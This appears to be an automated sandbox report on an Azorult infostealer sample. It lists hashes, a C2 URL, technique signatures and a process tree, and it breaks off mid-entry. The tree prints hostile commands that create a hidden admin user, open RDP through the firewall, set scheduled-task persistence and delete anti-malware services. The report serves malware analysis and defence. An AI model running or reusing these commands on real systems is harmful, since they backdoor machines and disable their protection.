Resubmissions

05-09-2024 17:28

240905-v15jbswgme 10

05-09-2024 17:24

240905-vy4h9awbnm 10

Analysis

  • max time kernel
    80s
  • max time network
    81s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    05-09-2024 17:28

General

  • Target

    Azorult.exe

  • Size

    10.0MB

  • MD5

    5df0cf8b8aa7e56884f71da3720fb2c6

  • SHA1

    0610e911ade5d666a45b41f771903170af58a05a

  • SHA256

    dd396a3f66ad728660023cb116235f3cb1c35d679a155b08ec6a9ccaf966c360

  • SHA512

    724ce5e285c0ec68464c39292be62b80124909e98a6f1cd4a8ddee9de24b9583112012200bf10261354de478d77a5844cb843673235db3f704a307976164669a

  • SSDEEP

    196608:NjIrZDbMLq8TKqTNNRYWzmf1e4Qx/PMPTZPkTGX9sqiL/aVvTA:N2Z4DRYWXdaZPGy9sJL/aVv

Malware Config

Extracted

Family

azorult

C2

http://boglogov.site/index.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

  • UAC bypass 3 TTPs 5 IoCs
  • Windows security bypass 2 TTPs 1 IoCs
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Blocks application from running via registry modification 13 IoCs

    Adds application to list of disallowed applications.

  • Drops file in Drivers directory 2 IoCs
  • Modifies Windows Firewall 2 TTPs 23 IoCs
  • Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
  • Sets file to hidden 1 TTPs 3 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Stops running service(s) 4 TTPs
  • ACProtect 1.3x - 1.4x DLL software 2 IoCs

    Detects file using ACProtect software.

  • ASPack v2.12-2.42 2 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 26 IoCs
  • Loads dropped DLL 39 IoCs
  • Modifies file permissions 1 TTPs 62 IoCs
  • Modifies system executable filetype association 2 TTPs 7 IoCs
  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops desktop.ini file(s) 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 7 IoCs
  • Password Policy Discovery 1 TTPs

    Attempt to access detailed information about the password policy used within an enterprise network.

  • AutoIT Executable 4 IoCs

    AutoIT scripts compiled to PE executables.

  • Checks system information in the registry 2 TTPs 6 IoCs

    System information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 5 IoCs
  • Hide Artifacts: Hidden Users 1 TTPs 4 IoCs
  • Drops file in Program Files directory 27 IoCs
  • Launches sc.exe 24 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 64 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 7 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 5 IoCs
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • NTFS ADS 1 IoCs
  • Runs .reg file with regedit 2 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 8 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Views/modifies file attributes 1 TTPs 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Azorult.exe
    "C:\Users\Admin\AppData\Local\Temp\Azorult.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • UAC bypass
    • Blocks application from running via registry modification
    • Drops file in Drivers directory
    • Checks whether UAC is enabled
    • Modifies WinLogon
    • Hide Artifacts: Hidden Users
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:3716
    • C:\ProgramData\Microsoft\Intel\wini.exe
      C:\ProgramData\Microsoft\Intel\wini.exe -pnaxui
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:340
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\install.vbs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3524
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Programdata\Windows\install.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:336
          • C:\Windows\SysWOW64\regedit.exe
            regedit /s "reg1.reg"
            5⤵
            • UAC bypass
            • Windows security bypass
            • Hide Artifacts: Hidden Users
            • Runs .reg file with regedit
            PID:3132
          • C:\Windows\SysWOW64\regedit.exe
            regedit /s "reg2.reg"
            5⤵
            • System Location Discovery: System Language Discovery
            • Runs .reg file with regedit
            PID:4884
          • C:\Windows\SysWOW64\timeout.exe
            timeout 2
            5⤵
            • Delays execution with timeout.exe
            PID:2072
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /silentinstall
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4652
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /firewall
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:1496
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /start
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:2056
          • C:\Windows\SysWOW64\attrib.exe
            ATTRIB +H +S C:\Programdata\Windows\*.*
            5⤵
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:1764
          • C:\Windows\SysWOW64\attrib.exe
            ATTRIB +H +S C:\Programdata\Windows
            5⤵
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:4544
          • C:\Windows\SysWOW64\sc.exe
            sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
            5⤵
            • Launches sc.exe
            PID:3668
          • C:\Windows\SysWOW64\sc.exe
            sc config RManService obj= LocalSystem type= interact type= own
            5⤵
            • Launches sc.exe
            PID:3948
          • C:\Windows\SysWOW64\sc.exe
            sc config RManService DisplayName= "Microsoft Framework"
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:4144
      • C:\ProgramData\Windows\winit.exe
        "C:\ProgramData\Windows\winit.exe"
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2124
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat
          4⤵
            PID:664
            • C:\Windows\SysWOW64\timeout.exe
              timeout 5
              5⤵
              • Delays execution with timeout.exe
              PID:3700
      • C:\programdata\install\cheat.exe
        C:\programdata\install\cheat.exe -pnaxui
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2168
        • C:\ProgramData\Microsoft\Intel\taskhost.exe
          "C:\ProgramData\Microsoft\Intel\taskhost.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2484
          • C:\programdata\microsoft\intel\P.exe
            C:\programdata\microsoft\intel\P.exe
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetWindowsHookEx
            PID:2408
          • C:\programdata\microsoft\intel\R8.exe
            C:\programdata\microsoft\intel\R8.exe
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetWindowsHookEx
            PID:2188
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\rdp\run.vbs"
              5⤵
                PID:3692
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c ""C:\rdp\pause.bat" "
                  6⤵
                    PID:4028
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /f /im Rar.exe
                      7⤵
                      • System Location Discovery: System Language Discovery
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3728
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /f /im Rar.exe
                      7⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4528
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout 3
                      7⤵
                      • Delays execution with timeout.exe
                      PID:4912
                    • C:\Windows\SysWOW64\chcp.com
                      chcp 1251
                      7⤵
                        PID:4548
                      • C:\rdp\Rar.exe
                        "Rar.exe" e -p555 db.rar
                        7⤵
                        • Executes dropped EXE
                        PID:1056
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /f /im Rar.exe
                        7⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4120
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout 2
                        7⤵
                        • Delays execution with timeout.exe
                        PID:964
                      • C:\Windows\SysWOW64\WScript.exe
                        "C:\Windows\System32\WScript.exe" "C:\rdp\install.vbs"
                        7⤵
                        • System Location Discovery: System Language Discovery
                        PID:1996
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c ""C:\rdp\bat.bat" "
                          8⤵
                            PID:1952
                            • C:\Windows\SysWOW64\reg.exe
                              reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
                              9⤵
                                PID:3232
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d 1 /f
                                9⤵
                                • System Location Discovery: System Language Discovery
                                PID:3728
                              • C:\Windows\SysWOW64\netsh.exe
                                netsh.exe advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
                                9⤵
                                • Modifies Windows Firewall
                                • Event Triggered Execution: Netsh Helper DLL
                                PID:4540
                              • C:\Windows\SysWOW64\net.exe
                                net.exe user "john" "12345" /add
                                9⤵
                                  PID:660
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 user "john" "12345" /add
                                    10⤵
                                      PID:4908
                                  • C:\Windows\SysWOW64\chcp.com
                                    chcp 1251
                                    9⤵
                                      PID:2784
                                    • C:\Windows\SysWOW64\net.exe
                                      net localgroup "Администраторы" "John" /add
                                      9⤵
                                        PID:3220
                                        • C:\Windows\SysWOW64\net1.exe
                                          C:\Windows\system32\net1 localgroup "Администраторы" "John" /add
                                          10⤵
                                            PID:3276
                                        • C:\Windows\SysWOW64\net.exe
                                          net localgroup "Administratorzy" "John" /add
                                          9⤵
                                            PID:3492
                                            • C:\Windows\SysWOW64\net1.exe
                                              C:\Windows\system32\net1 localgroup "Administratorzy" "John" /add
                                              10⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:912
                                          • C:\Windows\SysWOW64\net.exe
                                            net localgroup "Administrators" John /add
                                            9⤵
                                              PID:2432
                                              • C:\Windows\SysWOW64\net1.exe
                                                C:\Windows\system32\net1 localgroup "Administrators" John /add
                                                10⤵
                                                  PID:4432
                                              • C:\Windows\SysWOW64\net.exe
                                                net localgroup "Administradores" John /add
                                                9⤵
                                                  PID:1212
                                                  • C:\Windows\SysWOW64\net1.exe
                                                    C:\Windows\system32\net1 localgroup "Administradores" John /add
                                                    10⤵
                                                      PID:2172
                                                  • C:\Windows\SysWOW64\net.exe
                                                    net localgroup "Пользователи удаленного рабочего стола" John /add
                                                    9⤵
                                                      PID:1748
                                                      • C:\Windows\SysWOW64\net1.exe
                                                        C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
                                                        10⤵
                                                          PID:1816
                                                      • C:\Windows\SysWOW64\net.exe
                                                        net localgroup "Пользователи удаленного управления" John /add
                                                        9⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:2592
                                                        • C:\Windows\SysWOW64\net1.exe
                                                          C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" John /add
                                                          10⤵
                                                            PID:2800
                                                        • C:\Windows\SysWOW64\net.exe
                                                          net localgroup "Remote Desktop Users" John /add
                                                          9⤵
                                                          • Remote Service Session Hijacking: RDP Hijacking
                                                          PID:2924
                                                          • C:\Windows\SysWOW64\net1.exe
                                                            C:\Windows\system32\net1 localgroup "Remote Desktop Users" John /add
                                                            10⤵
                                                            • Remote Service Session Hijacking: RDP Hijacking
                                                            PID:2072
                                                        • C:\Windows\SysWOW64\net.exe
                                                          net localgroup "Usuarios de escritorio remoto" John /add
                                                          9⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:2720
                                                          • C:\Windows\SysWOW64\net1.exe
                                                            C:\Windows\system32\net1 localgroup "Usuarios de escritorio remoto" John /add
                                                            10⤵
                                                              PID:1248
                                                          • C:\Windows\SysWOW64\net.exe
                                                            net localgroup "Uzytkownicy pulpitu zdalnego" John /add
                                                            9⤵
                                                              PID:4528
                                                              • C:\Windows\SysWOW64\net1.exe
                                                                C:\Windows\system32\net1 localgroup "Uzytkownicy pulpitu zdalnego" John /add
                                                                10⤵
                                                                  PID:3332
                                                              • C:\rdp\RDPWInst.exe
                                                                "RDPWInst.exe" -i -o
                                                                9⤵
                                                                • Server Software Component: Terminal Services DLL
                                                                • Executes dropped EXE
                                                                • Modifies WinLogon
                                                                • Drops file in System32 directory
                                                                • Drops file in Program Files directory
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:3396
                                                                • C:\Windows\SYSTEM32\netsh.exe
                                                                  netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                                                                  10⤵
                                                                  • Modifies Windows Firewall
                                                                  • Event Triggered Execution: Netsh Helper DLL
                                                                  PID:1816
                                                              • C:\rdp\RDPWInst.exe
                                                                "RDPWInst.exe" -w
                                                                9⤵
                                                                • Executes dropped EXE
                                                                PID:752
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "john" /t REG_DWORD /d 0 /f
                                                                9⤵
                                                                • Hide Artifacts: Hidden Users
                                                                PID:4852
                                                              • C:\Windows\SysWOW64\net.exe
                                                                net accounts /maxpwage:unlimited
                                                                9⤵
                                                                  PID:132
                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                    C:\Windows\system32\net1 accounts /maxpwage:unlimited
                                                                    10⤵
                                                                      PID:4432
                                                                  • C:\Windows\SysWOW64\attrib.exe
                                                                    attrib +s +h "C:\Program Files\RDP Wrapper\*.*"
                                                                    9⤵
                                                                    • Sets file to hidden
                                                                    • Drops file in Program Files directory
                                                                    • System Location Discovery: System Language Discovery
                                                                    • Views/modifies file attributes
                                                                    PID:2108
                                                                  • C:\Windows\SysWOW64\attrib.exe
                                                                    attrib +s +h "C:\Program Files\RDP Wrapper"
                                                                    9⤵
                                                                    • Sets file to hidden
                                                                    • Drops file in Program Files directory
                                                                    • Views/modifies file attributes
                                                                    PID:3204
                                                                  • C:\Windows\SysWOW64\attrib.exe
                                                                    attrib +s +h "C:\rdp"
                                                                    9⤵
                                                                    • Sets file to hidden
                                                                    • Views/modifies file attributes
                                                                    PID:1924
                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                timeout 2
                                                                7⤵
                                                                • System Location Discovery: System Language Discovery
                                                                • Delays execution with timeout.exe
                                                                PID:1476
                                                        • C:\ProgramData\Microsoft\Intel\winlog.exe
                                                          C:\ProgramData\Microsoft\Intel\winlog.exe -p123
                                                          4⤵
                                                          • Executes dropped EXE
                                                          PID:3240
                                                          • C:\ProgramData\Microsoft\Intel\winlogon.exe
                                                            "C:\ProgramData\Microsoft\Intel\winlogon.exe"
                                                            5⤵
                                                            • Executes dropped EXE
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:3352
                                                            • C:\Windows\system32\cmd.exe
                                                              "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FC42.tmp\FC43.bat C:\ProgramData\Microsoft\Intel\winlogon.exe"
                                                              6⤵
                                                                PID:4212
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  PowerShell.exe -command "Import-Module applocker" ; "Set-AppLockerPolicy -XMLPolicy C:\ProgramData\microsoft\Temp\5.xml"
                                                                  7⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Drops file in System32 directory
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:1824
                                                          • C:\Programdata\RealtekHD\taskhostw.exe
                                                            C:\Programdata\RealtekHD\taskhostw.exe
                                                            4⤵
                                                            • Modifies visiblity of hidden/system files in Explorer
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            • NTFS ADS
                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4644
                                                            • C:\Programdata\WindowsTask\winlogon.exe
                                                              C:\Programdata\WindowsTask\winlogon.exe
                                                              5⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:2940
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /C schtasks /query /fo list
                                                                6⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:4140
                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                  schtasks /query /fo list
                                                                  7⤵
                                                                    PID:2104
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c ipconfig /flushdns
                                                                5⤵
                                                                  PID:1984
                                                                  • C:\Windows\system32\ipconfig.exe
                                                                    ipconfig /flushdns
                                                                    6⤵
                                                                    • Gathers network information
                                                                    PID:1584
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c gpupdate /force
                                                                  5⤵
                                                                    PID:1824
                                                                    • C:\Windows\system32\gpupdate.exe
                                                                      gpupdate /force
                                                                      6⤵
                                                                        PID:2952
                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                    "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\SystemC" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 1
                                                                    4⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:2488
                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                    "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "C:\Programdata\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST
                                                                    4⤵
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4076
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c C:\programdata\microsoft\temp\H.bat
                                                                    4⤵
                                                                    • Drops file in Drivers directory
                                                                    PID:3920
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c C:\programdata\microsoft\temp\Temp.bat
                                                                    4⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:3868
                                                                    • C:\Windows\SysWOW64\timeout.exe
                                                                      TIMEOUT /T 5 /NOBREAK
                                                                      5⤵
                                                                      • Delays execution with timeout.exe
                                                                      PID:1304
                                                                    • C:\Windows\SysWOW64\timeout.exe
                                                                      TIMEOUT /T 3 /NOBREAK
                                                                      5⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      • Delays execution with timeout.exe
                                                                      PID:1816
                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                      TASKKILL /IM 1.exe /T /F
                                                                      5⤵
                                                                      • Kills process with taskkill
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:2116
                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                      TASKKILL /IM P.exe /T /F
                                                                      5⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      • Kills process with taskkill
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:3460
                                                                    • C:\Windows\SysWOW64\attrib.exe
                                                                      ATTRIB +H +S C:\Programdata\Windows
                                                                      5⤵
                                                                      • Views/modifies file attributes
                                                                      PID:2936
                                                              • C:\programdata\install\ink.exe
                                                                C:\programdata\install\ink.exe
                                                                2⤵
                                                                • Executes dropped EXE
                                                                PID:1860
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c sc start appidsvc
                                                                2⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:1056
                                                                • C:\Windows\SysWOW64\sc.exe
                                                                  sc start appidsvc
                                                                  3⤵
                                                                  • Launches sc.exe
                                                                  PID:2876
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c sc start appmgmt
                                                                2⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:2436
                                                                • C:\Windows\SysWOW64\sc.exe
                                                                  sc start appmgmt
                                                                  3⤵
                                                                  • Launches sc.exe
                                                                  PID:5008
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c sc config appidsvc start= auto
                                                                2⤵
                                                                  PID:3704
                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                    sc config appidsvc start= auto
                                                                    3⤵
                                                                    • Launches sc.exe
                                                                    PID:3100
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c sc config appmgmt start= auto
                                                                  2⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:4820
                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                    sc config appmgmt start= auto
                                                                    3⤵
                                                                    • Launches sc.exe
                                                                    PID:1824
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c sc delete swprv
                                                                  2⤵
                                                                    PID:4776
                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                      sc delete swprv
                                                                      3⤵
                                                                      • Launches sc.exe
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:1600
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c sc stop mbamservice
                                                                    2⤵
                                                                      PID:1968
                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                        sc stop mbamservice
                                                                        3⤵
                                                                        • Launches sc.exe
                                                                        PID:3700
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c sc stop bytefenceservice
                                                                      2⤵
                                                                        PID:2520
                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                          sc stop bytefenceservice
                                                                          3⤵
                                                                          • Launches sc.exe
                                                                          PID:3296
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c sc delete bytefenceservice
                                                                        2⤵
                                                                          PID:2160
                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                            sc delete bytefenceservice
                                                                            3⤵
                                                                            • Launches sc.exe
                                                                            PID:4436
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c sc delete mbamservice
                                                                          2⤵
                                                                            PID:4020
                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                              sc delete mbamservice
                                                                              3⤵
                                                                              • Launches sc.exe
                                                                              PID:3216
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c sc delete crmsvc
                                                                            2⤵
                                                                              PID:3536
                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                sc delete crmsvc
                                                                                3⤵
                                                                                • Launches sc.exe
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:4640
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c sc delete "windows node"
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:5092
                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                sc delete "windows node"
                                                                                3⤵
                                                                                • Launches sc.exe
                                                                                PID:1912
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c sc stop Adobeflashplayer
                                                                              2⤵
                                                                                PID:3928
                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                  sc stop Adobeflashplayer
                                                                                  3⤵
                                                                                  • Launches sc.exe
                                                                                  PID:3184
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c sc delete AdobeFlashPlayer
                                                                                2⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:1536
                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                  sc delete AdobeFlashPlayer
                                                                                  3⤵
                                                                                  • Launches sc.exe
                                                                                  PID:2316
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c sc stop MoonTitle
                                                                                2⤵
                                                                                  PID:3880
                                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                                    sc stop MoonTitle
                                                                                    3⤵
                                                                                    • Launches sc.exe
                                                                                    PID:4772
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c sc delete MoonTitle"
                                                                                  2⤵
                                                                                    PID:4712
                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                      sc delete MoonTitle"
                                                                                      3⤵
                                                                                      • Launches sc.exe
                                                                                      PID:5076
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c sc stop AudioServer
                                                                                    2⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:804
                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                      sc stop AudioServer
                                                                                      3⤵
                                                                                      • Launches sc.exe
                                                                                      PID:3512
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c sc delete AudioServer"
                                                                                    2⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:3668
                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                      sc delete AudioServer"
                                                                                      3⤵
                                                                                      • Launches sc.exe
                                                                                      PID:2008
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c sc stop clr_optimization_v4.0.30318_64
                                                                                    2⤵
                                                                                      PID:3240
                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                        sc stop clr_optimization_v4.0.30318_64
                                                                                        3⤵
                                                                                        • Launches sc.exe
                                                                                        PID:1376
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c sc delete clr_optimization_v4.0.30318_64"
                                                                                      2⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:2432
                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                        sc delete clr_optimization_v4.0.30318_64"
                                                                                        3⤵
                                                                                        • Launches sc.exe
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:4984
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c sc stop MicrosoftMysql
                                                                                      2⤵
                                                                                        PID:2028
                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                          sc stop MicrosoftMysql
                                                                                          3⤵
                                                                                          • Launches sc.exe
                                                                                          PID:3524
                                                                                      • C:\Windows\SysWOW64\cmd.exe
